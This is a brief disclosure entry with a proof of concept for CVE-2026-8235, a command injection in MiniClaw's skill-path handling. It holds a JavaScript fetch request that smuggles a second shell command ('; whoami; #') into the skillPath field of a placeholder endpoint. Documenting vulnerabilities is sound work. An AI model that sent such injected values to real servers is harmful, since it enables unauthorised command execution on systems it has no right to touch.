CVE-2026-8235 MiniClaw OS命令注入漏洞

// PoC for CVE-2026-8235: OS Command Injection in MiniClaw // The vulnerability resides in resolveSkillScriptPath function. // An attacker can inject arbitrary OS commands via the skill path parameter. // Hypothetical payload to inject commands const maliciousInput = "valid_script.js; whoami; #"; // Example request simulation (assuming an API endpoint) fetch('http://target/api/execute', { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({ skillPath: maliciousInput }) }); // If vulnerable, the server executes: cat valid_script.js; whoami; #